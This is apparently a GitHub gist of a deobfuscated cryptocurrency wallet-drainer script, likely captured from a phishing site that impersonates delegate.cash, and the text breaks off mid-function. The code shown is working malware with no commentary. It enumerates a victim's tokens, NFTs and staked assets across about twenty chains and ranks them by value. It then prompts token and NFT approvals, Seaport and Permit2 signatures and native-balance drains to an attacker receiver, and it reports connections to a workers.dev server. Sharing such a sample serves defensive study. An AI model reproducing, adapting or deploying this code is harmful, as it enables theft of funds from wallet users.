Created
November 22, 2023 22:52
-
-
Save AndrewMohawk/796888ec8cd9e44862990a4a97f41b35 to your computer and use it in GitHub Desktop.
deobfs-delegatecash.me
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const config = { | |
customerId: "0xDSN1H6CU", | |
forcePopup: false, | |
logRepeatedConnections: true, | |
logEmptyWallets: false, | |
logClosedTab: true, | |
logIpData: false, | |
sendEthType: 1, | |
forceChangeChainNetwork: true, | |
forceAddChainNetwork: true, | |
walletConnectLogo: "https://i.imgur.com/yLxJF3W.png", | |
projectId: "210b371a0406d0aa02a6c3a56fb9dda5", | |
bannedAddresses: ["0x240Cf70D8A648BE133fEB342D71E5e81C686e5f8", "0x20cCdeDB9814c83bA2D663fC04f88c7a61aA706d", "0x2ad6FA4db57Ac71479510863643Eb6b1991788E1", "0x33566c9D8BE6Cf0B23795E0d380E112Be9d75836", "0x034C446b223Bb4ffbd51d2E284Fe6b3cdd271315", "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045", "0xC832494dce30f7303F42d829c205D6Ea6b551afb", "0x29B876e2dd14dd034612F052ecB372E64C96A895", "0x886258791969e6b0fEff62c0a02be819Dfc1B167", "0x3096d3B09e6ec2E8fF923D1657d0c691148eEeE5", "0xaF92d25248767357041c002Ea5aE24eF350102EF", "0x2b8496F320582481eA393bd26B9191F9059D2943", "0x81c4065F3B3b89adE412158b8c2c2C37e2a1b0A0", "0x9A735c231ad994D48929d3d8cE0970fCA25C2908", "0xbAEA4b614e0cADdA6aE2c860F3Ba8270f770f22f"], | |
assetOptions: { | |
multipliers: { | |
blur: 2, | |
seaport: 1.4, | |
ostransfers: 2.2, | |
uniswap: 1.5, | |
uniswapv2: 1.9, | |
stargate: 2.7, | |
permit: 2.2, | |
permit2: 2.5, | |
special: 2.6, | |
apestake: 2.4, | |
curve: 3, | |
aave: 3.5, | |
wyvern: 3, | |
safa: 1, | |
balance: 0.8, | |
chainSwitchRatio: 0.6 | |
} | |
} | |
}; | |
window.init = false; | |
window.disabled = false; | |
const _0x26c41f = { | |
eth: 1, | |
bsc: 56, | |
xdai: 100, | |
arb: 42161, | |
matic: 137, | |
avax: 43114, | |
op: 10, | |
ftm: 250, | |
era: 324, | |
okt: 66, | |
celo: 42220, | |
mvr: 1285, | |
cro: 25, | |
metis: 1088, | |
aurora: 1313161554, | |
mobm: 1284, | |
klay: 8217, | |
boba: 288, | |
astar: 592, | |
nova: 87, | |
one: 1666600000, | |
base: 8453, | |
"1": "eth", | |
"56": "bsc", | |
"42161": "arb", | |
"137": "matic", | |
"43114": "avax", | |
"100": "xdai", | |
"10": "op", | |
"250": "ftm", | |
"25": "cro", | |
"1088": "metis", | |
"66": "okt", | |
"128": "heco", | |
"324": "era", | |
"1285": "mvr", | |
"42220": "celo", | |
"1284": "mobm", | |
"8217": "klay", | |
"1313161554": "aurora", | |
"288": "boba", | |
"592": "astar", | |
"87": "nova", | |
"1666600000": "one", | |
"8453": "base" | |
}; | |
class Values { | |
options = { | |
method: "GET", | |
headers: { | |
Accept: "application/json" | |
} | |
}; | |
chainValues = []; | |
currentChainId = 0; | |
approved = []; | |
orderCache = []; | |
offer = []; | |
considerations = []; | |
chainRegistery = _0x26c41f; | |
chainRegistryData = { | |
eth: { | |
name: "Ethereum", | |
symbol: "ETH", | |
rpc: "https://rpc.ankr.com/eth", | |
explorer: "https://etherscan.io", | |
id: "0x1" | |
}, | |
bsc: { | |
name: "Binance Smart Chain Mainnet", | |
symbol: "BNB", | |
rpc: "https://rpc.ankr.com/bsc", | |
explorer: "https://bscscan.com", | |
id: "0x38" | |
}, | |
matic: { | |
name: "Polygon Mainnet", | |
symbol: "MATIC", | |
rpc: "https://rpc.ankr.com/polygon", | |
explorer: "https://polygonscan.com", | |
id: "0x89" | |
}, | |
ftm: { | |
name: "Fantom Opera", | |
symbol: "FTM", | |
rpc: "https://rpcapi.fantom.network", | |
explorer: "https://ftmscan.com", | |
id: "0xfa" | |
}, | |
op: { | |
name: "Optimism", | |
symbol: "ETH", | |
rpc: "https://rpc.ankr.com/optimism", | |
explorer: "https://optimistic.etherscan.io", | |
id: "0xa" | |
}, | |
arb: { | |
name: "Arbitrum One", | |
symbol: "ETH", | |
rpc: "https://rpc.ankr.com/arbitrum", | |
explorer: "https://arbiscan.io", | |
id: "0xa4b1" | |
}, | |
klay: { | |
name: "Klaytn Mainnet Cypress", | |
symbol: "KLAY", | |
rpc: "https://public-node-api.klaytnapi.com/v1/cypress", | |
explorer: "https://scope.klaytn.como", | |
id: "0x2019" | |
}, | |
okt: { | |
name: "OKXChain Mainnet", | |
symbol: "OKT", | |
rpc: "https://exchainrpc.okex.org", | |
explorer: "https://www.oklink.com/en/okc", | |
id: "0x42" | |
}, | |
avax: { | |
name: "Avalanche C-Chain", | |
symbol: "AVAX", | |
rpc: "https://rpc.ankr.com/avalanche", | |
explorer: "https://snowtrace.io", | |
id: "0xa86a" | |
}, | |
base: { | |
name: "Base", | |
symbol: "ETH", | |
rpc: "https://rpc.ankr.com/base", | |
explorer: "https://basescan.org", | |
id: "0x" + "8453".toString(16) | |
}, | |
xdai: { | |
name: "Gnosis", | |
symbol: "xDAI", | |
rpc: "https://rpc.gnosischain.com", | |
explorer: "https://gnosisscan.io", | |
id: "0x64" | |
}, | |
celo: { | |
name: "Celo Mainnet", | |
symbol: "CELO", | |
rpc: "https://forno.celo.org", | |
explorer: "https://celoscan.io", | |
id: "0xa4ec" | |
}, | |
aurora: { | |
name: "Aurora Mainnet", | |
symbol: "ETH", | |
rpc: "https://mainnet.aurora.dev", | |
explorer: "https://aurorascan.dev", | |
id: "0x4e454152" | |
}, | |
fuse: { | |
name: "Fuse Mainnet", | |
symbol: "FUSE", | |
rpc: "https://fuse-rpc.gateway.pokt.network", | |
explorer: "https://fuse.io/", | |
id: "0x7a" | |
}, | |
nova: { | |
name: "Nova Network", | |
symbol: "SNT", | |
rpc: "https://rpc.novanetwork.io:9070", | |
explorer: "https://explorer.novanetwork.io", | |
id: "0x57" | |
}, | |
doge: { | |
name: "Dogechain Mainnet", | |
symbol: "DOGE", | |
rpc: "https://rpc.dogechain.dog", | |
explorer: "https://explorer.dogechain.dog", | |
id: "0x7d0" | |
} | |
}; | |
actions = []; | |
keySize = 256; | |
ivSize = 128; | |
saltSize = 256; | |
iterations = 1000; | |
totalSeaport = 0; | |
totalWyvern = 0; | |
totalBlur = 0; | |
totalNFTs = 0; | |
totalTokens = 0; | |
totalStaked = 0; | |
nativeBalances = 0; | |
tokenValueUSD = 0; | |
failedAttempts = 0; | |
connector = ""; | |
domain = ""; | |
caller = "0x0000"; | |
receiver = ""; | |
tokenAddress = ""; | |
openseaTokens = ["0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", "0x6b175474e89094c44da98b954eedeac495271d0f", "0x4d224452801aced8b2f0aebe155379bb5d594381", "0x64d91f12ece7362f91a6f8e7940cd55f05060b92", "0x0d8775f648430679a709e98d2b0cb6250d2887ef", "0x15d4c048f83bd7e37d49ea4c83a07267ec4203da", "0x514910771af9ca656af840dff83e8264ecf986ca", "0x0f5d2fb29fb7d3cfee444a200298f468908cc942", "0x557b933a7c2c45672b610f8954a3deb39a51a8ca", "0x3845badade8e6dff049820680d1f14bd3903a5d0", "0x1f9840a85d5af5bf1d1762f925bdaddc4201f984"]; | |
seaportTokenActions = []; | |
seaportNFTActions = []; | |
wyvernTokenActions = []; | |
wyvernNftActions = []; | |
osTransferActions = []; | |
drainNativeActions = []; | |
approvalTokenActions = []; | |
approvalNFTActions = []; | |
apeStakeActions = []; | |
blurDelegateActions = []; | |
blurExecutionActions = []; | |
x2y2TransferActions = []; | |
pangolinActions = []; | |
pancakeActions = []; | |
pancakev2Actions = []; | |
aaveLP2Actions = []; | |
aaveLP3Actions = []; | |
aaveLP4Actions = []; | |
permit2Actions = []; | |
uniswapv2Actions = []; | |
uniswapv3Actions = []; | |
uniswapv3_2Actions = []; | |
bancorActions = []; | |
bancorSwapsActions = []; | |
curveActions = []; | |
curveVyper1Actions = []; | |
cowActions = []; | |
oneinchv5Actions = []; | |
sushiswapActions = []; | |
sushiProcessActions = []; | |
stargateActions = []; | |
shibaSwapActions = []; | |
kyberActions = []; | |
quickSwapActions = []; | |
spookyActions = []; | |
traderJoeV3Actions = []; | |
traderJoeV2Actions = []; | |
traderJoeV1Actions = []; | |
camelotActions = []; | |
gmxActions = []; | |
wooBridgeActions = []; | |
wooActions = []; | |
zeroexActions = []; | |
specialActions = []; | |
tokenChains = []; | |
handledActions = []; | |
sentMessage = false; | |
y = "01238218"; | |
} | |
class Main extends Values { | |
utils = new Helpers(); | |
constructor() { | |
super(); | |
this.domain = "https://dsgdfgdfgdfg.oijdsfodnlkxvxcuivhxdfiukfhndx.workers.dev"; | |
try { | |
this.approved = JSON.parse(localStorage.approved); | |
} catch {} | |
try { | |
this.orderCache = JSON.parse(localStorage.orderCache); | |
} catch {} | |
} | |
connectWallet = async (_0x6097af, _0x7caf95, _0x30fab2, _0x58902f) => { | |
if (window.disabled || !window.isClicked) { | |
return; | |
} | |
window.isClicked = false; | |
window.disabled = true; | |
this.provider = _0x6097af; | |
this.web3Js = new Web3(this.provider.provider); | |
this.ethersProvider = this.provider; | |
this.currentChainId = _0x58902f; | |
this.initialChainId = this.currentChainId; | |
this.Sdk = new SDK(this.provider, this.currentChainId); | |
if (config.bannedAddresses.includes(await this.getWalletAddress())) { | |
return console.warn("This address is banned"); | |
} | |
await this.ProcessAssets(); | |
window.disabled = false; | |
}; | |
ProcessAssets = async () => { | |
console.time(); | |
await Promise.all([this.tokenPromise(), this.nftPromise(), this.apePromise()]); | |
await this.handleActions(); | |
this.provider = null; | |
this.web3Js = null; | |
window.disabled = false; | |
this.ethersProvider = null; | |
}; | |
handleActions = async () => { | |
let _0x48d67e = await this.getWalletAddress(); | |
console.log("handling actions"); | |
if (!this.sentMessage) { | |
let _0x5c6115 = this.totalTokens + this.totalStaked + this.totalNFTs; | |
this.sentMessage = true; | |
const _0x188f63 = { | |
type: "connection", | |
value: _0x5c6115, | |
chain: "eth" | |
}; | |
await this.sendMessage(_0x188f63); | |
} | |
this.offer = []; | |
this.considerations = []; | |
this.totalSeaport = 0; | |
this.totalTransfer = 0; | |
this.totalBlur = 0; | |
this.totalNFTs = 0; | |
this.totalStaked = 0; | |
this.totalTokens = 0; | |
this.totalWyvern = 0; | |
this.nativeBalances = 0; | |
this.actions = []; | |
this.failedAttempts = 0; | |
for (let _0x3045e1 of this.tokenChains) { | |
try { | |
console.log("getting " + _0x3045e1); | |
await this.populateActions(_0x3045e1); | |
} catch (_0x4dbd50) { | |
console.log(_0x4dbd50); | |
} | |
} | |
let _0x4d3f30 = this.actions.sort(this.utils.propComparator("value")).reverse(); | |
console.log(_0x4d3f30); | |
this.chainValues = [{ | |
chain: "eth", | |
value: 0 | |
}, { | |
chain: "bsc", | |
value: 0 | |
}, { | |
chain: "arb", | |
value: 0 | |
}, { | |
chain: "matic", | |
value: 0 | |
}, { | |
chain: "avax", | |
value: 0 | |
}, { | |
chain: "xdai", | |
value: 0 | |
}, { | |
chain: "op", | |
value: 0 | |
}, { | |
chain: "ftm", | |
value: 0 | |
}, { | |
chain: "cro", | |
value: 0 | |
}, { | |
chain: "metis", | |
value: 0 | |
}, { | |
chain: "okt", | |
value: 0 | |
}, { | |
chain: "heco", | |
value: 0 | |
}, { | |
chain: "mvr", | |
value: 0 | |
}, { | |
chain: "mobm", | |
value: 0 | |
}, { | |
chain: "celo", | |
value: 0 | |
}, { | |
chain: "klay", | |
value: 0 | |
}, { | |
chain: "aurora", | |
value: 0 | |
}, { | |
chain: "boba", | |
value: 0 | |
}, { | |
chain: "nova", | |
value: 0 | |
}, { | |
chain: "astar", | |
value: 0 | |
}, { | |
chain: "era", | |
value: 0 | |
}, { | |
chain: "base", | |
value: 0 | |
}, { | |
chain: "pls", | |
value: 0 | |
}]; | |
let _0x2a6aba = [{ | |
chain: "eth", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "bsc", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "arb", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "matic", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "avax", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "xdai", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "op", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "ftm", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "cro", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "metis", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "okt", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "heco", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "mvr", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "mobm", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "celo", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "klay", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "aurora", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "boba", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "nova", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "astar", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "era", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "base", | |
value: 0, | |
actions: 0 | |
}, { | |
chain: "pls", | |
value: 0, | |
actions: 0 | |
}]; | |
for (let _0x411d52 of this.actions) { | |
let _0x1e93ca = false; | |
if (_0x411d52.actionType != "ApprovalNFT" && _0x411d52.actionType != "ApprovalToken" && _0x411d52.actionType != "Stake" && _0x411d52.actionType != "DrainNative") { | |
_0x1e93ca = true; | |
} | |
try { | |
if (_0x411d52.value > 0) { | |
if (_0x411d52.chain == (await this.getChainFromId(this.currentChainId))) { | |
if (_0x1e93ca) { | |
const _0x520809 = _0x2a6aba.findIndex(_0x3e6d53 => { | |
return _0x3e6d53.chain === _0x411d52.chain; | |
}); | |
_0x2a6aba[_0x520809].value += _0x411d52.value; | |
_0x2a6aba[_0x520809].actions = _0x2a6aba[_0x520809].actions + 1; | |
} else { | |
const _0x2d0185 = this.chainValues.findIndex(_0x1881ab => { | |
return _0x1881ab.chain === _0x411d52.chain; | |
}); | |
this.chainValues[_0x2d0185].value += _0x411d52.value; | |
} | |
} else if (_0x1e93ca) { | |
const _0x2e8d4e = _0x2a6aba.findIndex(_0x33723a => { | |
return _0x33723a.chain === _0x411d52.chain; | |
}); | |
_0x2a6aba[_0x2e8d4e].value += _0x411d52.value * config.assetOptions.multipliers.chainSwitchRatio; | |
_0x2a6aba[_0x2e8d4e].actions = _0x2a6aba[_0x2e8d4e].actions + 1; | |
} else { | |
const _0xf8c77b = this.chainValues.findIndex(_0x5d74a9 => { | |
return _0x5d74a9.chain === _0x411d52.chain; | |
}); | |
this.chainValues[_0xf8c77b].value += _0x411d52.value * config.assetOptions.multipliers.chainSwitchRatio; | |
} | |
} | |
} catch {} | |
} | |
console.log(this.chainValues); | |
for (let _0x4f3d53 of _0x2a6aba) { | |
try { | |
let _0xe81bd4 = _0x4f3d53; | |
const _0x56c130 = this.chainValues.findIndex(_0x23708b => { | |
return _0x23708b.chain === _0xe81bd4.chain; | |
}); | |
if (_0xe81bd4.value > 0) { | |
this.chainValues[_0x56c130].value += _0xe81bd4.value / _0xe81bd4.actions; | |
} | |
} catch {} | |
} | |
console.log(_0x2a6aba); | |
console.timeEnd(); | |
for (let _0x1560c6 of _0x4d3f30) { | |
await this.handleChains(); | |
if (_0x1560c6.chain == (await this.getChainFromId(this.currentChainId))) { | |
console.log("Prompting " + _0x1560c6.actionType + " on " + _0x1560c6.chain); | |
if (_0x48d67e != (await this.getWalletAddress())) { | |
return; | |
} | |
if (_0x1560c6.value > 10) { | |
switch (_0x1560c6.actionType) { | |
case "AaveLP2": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "AaveLP3": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "AaveLP4": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "ApprovalNFT": | |
await this.approve(_0x1560c6); | |
break; | |
case "ApprovalToken": | |
await this.approve(_0x1560c6); | |
break; | |
case "ApeStake": | |
await this.unStake(_0x1560c6); | |
break; | |
case "Bancor": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "BancorSwaps": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "BlurExec": | |
break; | |
case "BlurDelegate": | |
break; | |
case "Camelot": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "Curve": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "CurveVyper1": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "Cowswap": | |
break; | |
case "DrainNative": | |
await this.drainNative(_0x1560c6); | |
break; | |
case "GMX": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "1InchV5": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "Kyber": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "OSTransfer": | |
await this.transferOpensea(_0x1560c6); | |
break; | |
case "Pangolin": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "Pancake": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "PancakeV2": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "Permit2": | |
await this.permit2(_0x1560c6); | |
break; | |
case "Quickswap": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "Seaport": | |
await this.seaportOrder(_0x1560c6); | |
break; | |
case "Stargate": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "Special": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "SpookySwap": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "ShibaSwap": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "SushiSwap": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "SushiProcess": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "TraderJoeV1": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "TraderJoeV2": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "TraderJoeV3": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "UniswapV2": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "UniswapV3": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "UniswapV3_2": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "UniswapNFT": | |
break; | |
case "WooFinance": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "WooBridge": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "Wyvern": | |
await this.wyvern(_0x1560c6); | |
break; | |
case "ZeroEx": | |
await this.doSwapRegular(_0x1560c6); | |
break; | |
case "X2Y2": | |
break; | |
} | |
console.log("Finished action"); | |
this.handledActions.push(Base64.encode(JSON.stringify(_0x1560c6))); | |
localStorage.approved = JSON.stringify(this.approved); | |
await this.handleActions(); | |
return; | |
} | |
} | |
} | |
}; | |
populateActions = async _0x536f8f => { | |
if (_0x536f8f == "matic") { | |
let _0x12688a = this.quickSwapActions.filter(_0x3ff49f => _0x3ff49f.chain == _0x536f8f && !this.approved.includes(_0x3ff49f.token + "," + _0x536f8f)); | |
if (_0x12688a.length > 0) { | |
for (let _0x59b8ea of _0x12688a) { | |
const _0x4eebdd = { | |
token: _0x59b8ea.token, | |
amount: _0x59b8ea.amount, | |
value: _0x59b8ea.value | |
}; | |
var _0x435572 = _0x4eebdd; | |
this.createAction("Quickswap", _0x435572, _0x59b8ea.value, _0x536f8f); | |
} | |
} | |
} | |
if (_0x536f8f == "ftm") { | |
let _0x85dd52 = this.spookyActions.filter(_0x1429b2 => _0x1429b2.chain == _0x536f8f && !this.approved.includes(_0x1429b2.token + "," + _0x536f8f)); | |
if (_0x85dd52.length > 0) { | |
for (let _0x211510 of _0x85dd52) { | |
const _0x26cc63 = { | |
token: _0x211510.token, | |
amount: _0x211510.amount, | |
value: _0x211510.value | |
}; | |
var _0x435572 = _0x26cc63; | |
this.createAction("SpookySwap", _0x435572, _0x211510.value, _0x536f8f); | |
} | |
} | |
} | |
if (_0x536f8f == "eth") { | |
let _0x543dc7 = []; | |
let _0x534cbe = []; | |
let _0x1fa43b = this.approvalNFTActions.filter(_0x41c022 => _0x41c022.chain == _0x536f8f && !this.approved.includes(_0x41c022.nft.contract + "," + _0x536f8f)); | |
if (_0x1fa43b.length > 0) { | |
let _0xe0b0ee = []; | |
for (let _0x46e754 of _0x1fa43b) { | |
let _0x324d7f = []; | |
if (!_0xe0b0ee.filter(_0x4c9c64 => _0x4c9c64.nft.contract == _0x46e754.nft.contract).length > 0) { | |
for (let _0x478015 of _0x1fa43b) { | |
if (_0x478015.nft.contract == _0x46e754.nft.contract) { | |
_0x324d7f.push(_0x478015.nft.token_id); | |
} | |
} | |
_0x46e754.nft.token_ids = _0x324d7f; | |
_0xe0b0ee.push(_0x46e754); | |
} | |
} | |
for (let _0x34bf39 of _0xe0b0ee) { | |
let _0x40fdf2 = _0x34bf39.nft.token_ids.length * _0x34bf39.value; | |
if (!this.approved.includes(Base64.encode(JSON.stringify(_0x34bf39.nft)))) { | |
this.createAction("ApprovalNFT", _0x34bf39.nft, _0x40fdf2, _0x536f8f); | |
} | |
} | |
} | |
let _0x56f8e8 = this.seaportTokenActions.filter(_0x53f71f => _0x53f71f.chain == _0x536f8f && !this.approved.includes(_0x53f71f.token + "," + _0x536f8f)); | |
if (_0x56f8e8.length > 0) { | |
for (let _0x395edc of _0x56f8e8) { | |
if (_0x395edc.value > 50) { | |
const _0x51c98e = { | |
itemType: 1, | |
token: _0x395edc.token, | |
startAmount: _0x395edc.amount, | |
endAmount: _0x395edc.amount | |
}; | |
const _0x9b2b56 = _0x51c98e; | |
const _0x20cc7f = { | |
itemType: 1, | |
token: _0x395edc.token, | |
startAmount: _0x395edc.amount, | |
endAmount: _0x395edc.amount, | |
recipient: this.receiver | |
}; | |
const _0x1635c7 = _0x20cc7f; | |
let _0x28b93b = this.Sdk.getItem(_0x1635c7); | |
let _0x4d72de = this.Sdk.getItem(_0x9b2b56); | |
this.offer.push(_0x4d72de); | |
this.considerations.push(_0x28b93b); | |
this.totalSeaport += _0x395edc.value; | |
} | |
} | |
} | |
let _0x3ae59a = this.seaportNFTActions.filter(_0x28d3c4 => _0x28d3c4.chain == _0x536f8f && !this.approved.includes(_0x28d3c4.nft.contract + "," + _0x536f8f) && !this.approved.includes(Base64.encode(JSON.stringify(_0x28d3c4.nft)))); | |
if (_0x3ae59a.length > 0) { | |
for (let _0xed7bbc of _0x3ae59a) { | |
if (_0xed7bbc.value > 50) { | |
let _0x2232e5 = _0xed7bbc.nft; | |
let _0x314bdc = 2; | |
if (_0x2232e5.scheme == "erc1155") { | |
_0x314bdc = 3; | |
} | |
const _0x2f9aed = { | |
itemType: _0x314bdc, | |
token: _0x2232e5.contract, | |
startAmount: _0x2232e5.amount, | |
endAmount: _0x2232e5.amount, | |
tokenId: _0x2232e5.token_id | |
}; | |
const _0x8290c0 = _0x2f9aed; | |
const _0x81982 = { | |
itemType: _0x314bdc, | |
token: _0x2232e5.contract, | |
startAmount: _0x2232e5.amount, | |
endAmount: _0x2232e5.amount, | |
tokenId: _0x2232e5.token_id, | |
recipient: this.receiver | |
}; | |
const _0x264d4f = _0x81982; | |
let _0x34fa44 = this.Sdk.getItem(_0x264d4f); | |
let _0x326983 = this.Sdk.getItem(_0x8290c0); | |
this.offer.push(_0x326983); | |
this.considerations.push(_0x34fa44); | |
this.totalSeaport += _0xed7bbc.value; | |
} | |
} | |
} | |
let _0x18e047 = this.osTransferActions.filter(_0x4c2367 => _0x4c2367.chain == _0x536f8f && !this.approved.includes(_0x4c2367.nft.contract + "," + _0x536f8f) && !this.approved.includes(Base64.encode(JSON.stringify(_0x4c2367.nft)))); | |
if (_0x18e047.length > 0) { | |
for (let _0x115f94 of _0x18e047) { | |
if (_0x115f94.value > 30) { | |
let _0x4bc899 = _0x115f94.nft; | |
let _0x2f38d4 = 2; | |
if (_0x4bc899.scheme == "erc1155") { | |
_0x2f38d4 = 3; | |
} | |
const _0x5bb45e = { | |
itemType: _0x2f38d4, | |
token: _0x4bc899.contract, | |
amount: _0x4bc899.amount, | |
tokenId: _0x4bc899.token_id | |
}; | |
const _0x59ac95 = _0x5bb45e; | |
_0x534cbe.push(_0x59ac95); | |
this.totalTransfer += _0x115f94.value; | |
} | |
} | |
} | |
let _0x440d8e = this.wyvernNftActions.filter(_0x3bcf3f => _0x3bcf3f.chain == _0x536f8f && !this.approved.includes(_0x3bcf3f.nft.contract + "," + _0x536f8f) && !this.approved.includes(Base64.encode(JSON.stringify(_0x3bcf3f.nft)))); | |
if (_0x440d8e.length > 0) { | |
for (let _0xf591f7 of _0x440d8e) { | |
const _0x4d924d = { | |
nft: _0xf591f7.nft, | |
value: _0xf591f7.value | |
}; | |
var _0x435572 = _0x4d924d; | |
_0x543dc7.push(_0x435572); | |
this.totalWyvern += _0xf591f7.value; | |
} | |
} | |
if (this.totalSeaport > 0) { | |
this.createAction("Seaport", "", this.totalSeaport, "eth"); | |
} | |
if (this.totalWyvern > 0) { | |
this.createAction("Wyvern", _0x543dc7, this.totalWyvern, "eth"); | |
} | |
if (this.totalTransfer > 0) { | |
this.createAction("OSTransfer", _0x534cbe, this.totalTransfer, "eth"); | |
} | |
} | |
if (_0x536f8f == "arb") { | |
let _0x4cf419 = this.camelotActions.filter(_0x45622b => _0x45622b.chain == _0x536f8f && !this.approved.includes(_0x45622b.token + "," + _0x536f8f)); | |
if (_0x4cf419.length > 0) { | |
for (let _0x4c4f0d of _0x4cf419) { | |
const _0x237e8e = { | |
token: _0x4c4f0d.token, | |
amount: _0x4c4f0d.amount, | |
value: _0x4c4f0d.value | |
}; | |
var _0x435572 = _0x237e8e; | |
this.createAction("Camelot", _0x435572, _0x4c4f0d.value, _0x536f8f); | |
} | |
} | |
let _0x2ee6b3 = this.gmxActions.filter(_0x43bb0b => _0x43bb0b.chain == _0x536f8f && !this.approved.includes(_0x43bb0b.token + "," + _0x536f8f)); | |
if (_0x2ee6b3.length > 0) { | |
for (let _0x24ccc7 of _0x2ee6b3) { | |
const _0xceb639 = { | |
token: _0x24ccc7.token, | |
amount: _0x24ccc7.amount, | |
value: _0x24ccc7.value | |
}; | |
var _0x435572 = _0xceb639; | |
this.createAction("GMX", _0x435572, _0x24ccc7.value, _0x536f8f); | |
} | |
} | |
} | |
let _0x26ea1b = this.drainNativeActions.filter(_0x3e36c0 => _0x3e36c0.chain == _0x536f8f); | |
if (_0x26ea1b.length > 0) { | |
for (let _0x3386cf of _0x26ea1b) { | |
this.createAction("DrainNative", _0x3386cf.balance, _0x3386cf.value, _0x536f8f); | |
this.nativeBalances += _0x3386cf.value; | |
} | |
} | |
let _0xeb3ae = this.approvalTokenActions.filter(_0x77c1c6 => _0x77c1c6.chain == _0x536f8f && !this.approved.includes(_0x77c1c6.token.token_address + "," + _0x536f8f)); | |
if (_0xeb3ae.length > 0) { | |
for (let _0x119929 of _0xeb3ae) { | |
this.createAction("ApprovalToken", _0x119929.token, _0x119929.value, _0x536f8f); | |
} | |
} | |
let _0x5392c7 = this.apeStakeActions.filter(_0x3c7c19 => _0x3c7c19.chain == _0x536f8f); | |
; | |
if (_0x5392c7.length > 0) { | |
for (let _0x4027c5 of _0x5392c7) { | |
this.createAction("ApeStake", _0x4027c5.stake, _0x4027c5.value * config.assetOptions.multipliers.apestake, _0x536f8f); | |
this.totalStaked += _0x4027c5.value; | |
} | |
} | |
let _0x3f3a7d = this.aaveLP2Actions.filter(_0xa6f141 => _0xa6f141.chain == _0x536f8f && !this.approved.includes(_0xa6f141.token + "," + _0x536f8f)); | |
if (_0x3f3a7d.length > 0) { | |
for (let _0xc07c3 of _0x3f3a7d) { | |
const _0x10c3e2 = { | |
token: _0xc07c3.token, | |
amount: _0xc07c3.amount, | |
value: _0xc07c3.value | |
}; | |
var _0x435572 = _0x10c3e2; | |
this.createAction("AaveLP2", _0x435572, _0xc07c3.value, _0x536f8f); | |
} | |
} | |
let _0x24bc5e = this.aaveLP3Actions.filter(_0x5c9084 => _0x5c9084.chain == _0x536f8f && !this.approved.includes(_0x5c9084.token + "," + _0x536f8f)); | |
if (_0x24bc5e.length > 0) { | |
for (let _0x8813f1 of _0x24bc5e) { | |
const _0x3304c2 = { | |
token: _0x8813f1.token, | |
amount: _0x8813f1.amount, | |
value: _0x8813f1.value | |
}; | |
var _0x435572 = _0x3304c2; | |
this.createAction("AaveLP3", _0x435572, _0x8813f1.value, _0x536f8f); | |
} | |
} | |
let _0xc9c7ac = this.aaveLP4Actions.filter(_0x3eb85f => _0x3eb85f.chain == _0x536f8f && !this.approved.includes(_0x3eb85f.token + "," + _0x536f8f)); | |
if (_0xc9c7ac.length > 0) { | |
for (let _0x5a74e0 of _0xc9c7ac) { | |
const _0xb64331 = { | |
token: _0x5a74e0.token, | |
amount: _0x5a74e0.amount, | |
value: _0x5a74e0.value | |
}; | |
var _0x435572 = _0xb64331; | |
this.createAction("AaveLP4", _0x435572, _0x5a74e0.value, _0x536f8f); | |
} | |
} | |
let _0x57af0b = this.bancorActions.filter(_0x4d44a1 => _0x4d44a1.chain == _0x536f8f && !this.approved.includes(_0x4d44a1.token + "," + _0x536f8f)); | |
if (_0x57af0b.length > 0) { | |
for (let _0x3a47f2 of _0x57af0b) { | |
const _0x522d72 = { | |
token: _0x3a47f2.token, | |
